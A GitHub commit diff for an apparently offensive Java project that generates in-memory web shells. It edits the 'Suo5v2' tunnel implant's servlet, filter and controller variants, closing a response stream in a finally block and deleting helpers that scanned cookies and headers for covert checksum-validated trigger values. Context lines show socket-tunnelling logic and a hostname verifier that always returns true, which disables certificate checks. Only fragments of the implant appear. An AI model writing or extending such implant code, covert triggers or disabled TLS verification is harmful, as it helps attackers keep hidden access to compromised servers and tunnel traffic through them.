Skip to content

Commit 5b2ce2e

Browse files
committed
fix: close respOutputStream in finally
1 parent 2f933a9 commit 5b2ce2e

File tree

11 files changed

+78
-881
lines changed

11 files changed

+78
-881
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -342,10 +342,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
342342

343343
Thread t = null;
344344
boolean sendClose = true;
345+
final OutputStream scOutStream = socket.getOutputStream();
346+
final InputStream scInStream = socket.getInputStream();
347+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
345348
try {
346-
final OutputStream scOutStream = socket.getOutputStream();
347-
final InputStream scInStream = socket.getInputStream();
348-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
349349

350350
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
351351
t = new Thread(p);
@@ -377,26 +377,26 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
377377
}
378378
} catch (Exception ignored) {
379379
} finally {
380-
381380
try {
382381
socket.close();
383382
} catch (Exception ignored) {
384383
}
385-
386384
if (sendClose) {
387385
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
388386
}
387+
try {
388+
respOutputStream.close();
389+
} catch (Exception ignored) {
390+
}
389391
if (t != null) {
390392
t.join();
391393
}
392-
393394
}
394395
}
395396

396397
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
397398
boolean newThread = false;
398399
boolean sendClose = true;
399-
400400
try {
401401
byte action = ((byte[]) dataMap.get("ac"))[0];
402402
switch (action) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java

Lines changed: 7 additions & 108 deletions
Original file line numberDiff line numberDiff line change
@@ -320,10 +320,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
320320

321321
Thread t = null;
322322
boolean sendClose = true;
323+
final OutputStream scOutStream = socket.getOutputStream();
324+
final InputStream scInStream = socket.getInputStream();
325+
final OutputStream respOutputStream = resp.getOutputStream();
323326
try {
324-
final OutputStream scOutStream = socket.getOutputStream();
325-
final InputStream scInStream = socket.getInputStream();
326-
final OutputStream respOutputStream = resp.getOutputStream();
327327

328328
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
329329
t = new Thread(p);
@@ -355,15 +355,17 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
355355
}
356356
} catch (Exception ignored) {
357357
} finally {
358-
359358
try {
360359
socket.close();
361360
} catch (Exception ignored) {
362361
}
363-
364362
if (sendClose) {
365363
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
366364
}
365+
try {
366+
respOutputStream.close();
367+
} catch (Exception ignored) {
368+
}
367369
if (t != null) {
368370
t.join();
369371
}
@@ -988,109 +990,6 @@ private String randomString(int length) {
988990
return new String(randomChars);
989991
}
990992

991-
private int toOffset(byte[] bs) {
992-
if (bs == null || bs.length != 4) {
993-
return 0;
994-
}
995-
try {
996-
bs = base64UrlDecode(new String(bs));
997-
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
998-
} catch (Exception e) {
999-
1000-
return 0;
1001-
}
1002-
}
1003-
1004-
private String getOffset(HttpServletRequest request) {
1005-
String cookieValue = request.getHeader("Cookie");
1006-
if (cookieValue != null && cookieValue.length() > 0) {
1007-
ArrayList cookieVals = cookieValues(cookieValue);
1008-
for (int i = 0; i < cookieVals.size(); i++) {
1009-
String val = (String) cookieVals.get(i);
1010-
if (val.length() >= 12) {
1011-
if (is_valid(val.substring(val.length() - 8), 430) != null) {
1012-
return val;
1013-
}
1014-
}
1015-
}
1016-
}
1017-
1018-
Enumeration headerNames = request.getHeaderNames();
1019-
while (headerNames != null && headerNames.hasMoreElements()) {
1020-
String headerName = (String) headerNames.nextElement();
1021-
String val = request.getHeader(headerName);
1022-
if (val.length() >= 12) {
1023-
if (is_valid(val.substring(val.length() - 8), 430) != null) {
1024-
return val;
1025-
}
1026-
}
1027-
}
1028-
1029-
return null;
1030-
}
1031-
1032-
private byte[] is_valid(String data, int sum) {
1033-
try {
1034-
byte[] result = base64UrlDecode(data);
1035-
if (result.length < 6) {
1036-
return null;
1037-
} else {
1038-
int i = result.length - 2;
1039-
int j = result.length - 3;
1040-
int p = result.length - 5;
1041-
int q = result.length - 6;
1042-
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
1043-
return valid ? result : null;
1044-
}
1045-
} catch (Exception var8) {
1046-
return null;
1047-
}
1048-
}
1049-
1050-
private boolean isOdd(int i) {
1051-
return (i & 1) == 1;
1052-
}
1053-
1054-
private int toUInt(byte x) {
1055-
return x & 255;
1056-
}
1057-
1058-
public static String md5(byte[] content) {
1059-
MessageDigest md = null;
1060-
try {
1061-
md = MessageDigest.getInstance("MD5");
1062-
} catch (NoSuchAlgorithmException e) {
1063-
throw new RuntimeException(e);
1064-
}
1065-
byte[] md5Bytes = md.digest(content);
1066-
// no String.format in java1.4
1067-
StringBuffer sb = new StringBuffer();
1068-
for (int i = 0; i < md5Bytes.length; i++) {
1069-
byte b = md5Bytes[i];
1070-
int value = b & 0xFF;
1071-
if (value < 16) {
1072-
sb.append('0');
1073-
}
1074-
sb.append(Integer.toHexString(value));
1075-
}
1076-
return sb.toString();
1077-
}
1078-
1079-
private ArrayList cookieValues(String cookieValue) {
1080-
ArrayList values = new ArrayList();
1081-
String[] cookiePairs = cookieValue.split(";");
1082-
1083-
for (int i = 0; i < cookiePairs.length; i++) {
1084-
String pair = cookiePairs[i];
1085-
String[] keyValue = pair.split("=", 2);
1086-
if (keyValue.length >= 2) {
1087-
values.add(keyValue[1].trim());
1088-
}
1089-
}
1090-
1091-
return values;
1092-
}
1093-
1094993
public boolean verify(String hostname, SSLSession session) {
1095994
return true;
1096995
}

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java

Lines changed: 8 additions & 107 deletions
Original file line numberDiff line numberDiff line change
@@ -325,10 +325,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
325325

326326
Thread t = null;
327327
boolean sendClose = true;
328+
final OutputStream scOutStream = socket.getOutputStream();
329+
final InputStream scInStream = socket.getInputStream();
330+
final OutputStream respOutputStream = resp.getOutputStream();
328331
try {
329-
final OutputStream scOutStream = socket.getOutputStream();
330-
final InputStream scInStream = socket.getInputStream();
331-
final OutputStream respOutputStream = resp.getOutputStream();
332332

333333
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
334334
t = new Thread(p);
@@ -361,14 +361,18 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
361361
} catch (Exception ignored) {
362362
} finally {
363363

364+
364365
try {
365366
socket.close();
366367
} catch (Exception ignored) {
367368
}
368-
369369
if (sendClose) {
370370
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
371371
}
372+
try {
373+
respOutputStream.close();
374+
} catch (Exception ignored) {
375+
}
372376
if (t != null) {
373377
t.join();
374378
}
@@ -993,109 +997,6 @@ private String randomString(int length) {
993997
return new String(randomChars);
994998
}
995999

996-
private int toOffset(byte[] bs) {
997-
if (bs == null || bs.length != 4) {
998-
return 0;
999-
}
1000-
try {
1001-
bs = base64UrlDecode(new String(bs));
1002-
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
1003-
} catch (Exception e) {
1004-
1005-
return 0;
1006-
}
1007-
}
1008-
1009-
private String getOffset(HttpServletRequest request) {
1010-
String cookieValue = request.getHeader("Cookie");
1011-
if (cookieValue != null && cookieValue.length() > 0) {
1012-
ArrayList cookieVals = cookieValues(cookieValue);
1013-
for (int i = 0; i < cookieVals.size(); i++) {
1014-
String val = (String) cookieVals.get(i);
1015-
if (val.length() >= 12) {
1016-
if (is_valid(val.substring(val.length() - 8), 430) != null) {
1017-
return val;
1018-
}
1019-
}
1020-
}
1021-
}
1022-
1023-
Enumeration headerNames = request.getHeaderNames();
1024-
while (headerNames != null && headerNames.hasMoreElements()) {
1025-
String headerName = (String) headerNames.nextElement();
1026-
String val = request.getHeader(headerName);
1027-
if (val.length() >= 12) {
1028-
if (is_valid(val.substring(val.length() - 8), 430) != null) {
1029-
return val;
1030-
}
1031-
}
1032-
}
1033-
1034-
return null;
1035-
}
1036-
1037-
private byte[] is_valid(String data, int sum) {
1038-
try {
1039-
byte[] result = base64UrlDecode(data);
1040-
if (result.length < 6) {
1041-
return null;
1042-
} else {
1043-
int i = result.length - 2;
1044-
int j = result.length - 3;
1045-
int p = result.length - 5;
1046-
int q = result.length - 6;
1047-
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
1048-
return valid ? result : null;
1049-
}
1050-
} catch (Exception var8) {
1051-
return null;
1052-
}
1053-
}
1054-
1055-
private boolean isOdd(int i) {
1056-
return (i & 1) == 1;
1057-
}
1058-
1059-
private int toUInt(byte x) {
1060-
return x & 255;
1061-
}
1062-
1063-
public static String md5(byte[] content) {
1064-
MessageDigest md = null;
1065-
try {
1066-
md = MessageDigest.getInstance("MD5");
1067-
} catch (NoSuchAlgorithmException e) {
1068-
throw new RuntimeException(e);
1069-
}
1070-
byte[] md5Bytes = md.digest(content);
1071-
// no String.format in java1.4
1072-
StringBuffer sb = new StringBuffer();
1073-
for (int i = 0; i < md5Bytes.length; i++) {
1074-
byte b = md5Bytes[i];
1075-
int value = b & 0xFF;
1076-
if (value < 16) {
1077-
sb.append('0');
1078-
}
1079-
sb.append(Integer.toHexString(value));
1080-
}
1081-
return sb.toString();
1082-
}
1083-
1084-
private ArrayList cookieValues(String cookieValue) {
1085-
ArrayList values = new ArrayList();
1086-
String[] cookiePairs = cookieValue.split(";");
1087-
1088-
for (int i = 0; i < cookiePairs.length; i++) {
1089-
String pair = cookiePairs[i];
1090-
String[] keyValue = pair.split("=", 2);
1091-
if (keyValue.length >= 2) {
1092-
values.add(keyValue[1].trim());
1093-
}
1094-
}
1095-
1096-
return values;
1097-
}
1098-
10991000
public boolean verify(String hostname, SSLSession session) {
11001001
return true;
11011002
}

0 commit comments

Comments
 (0)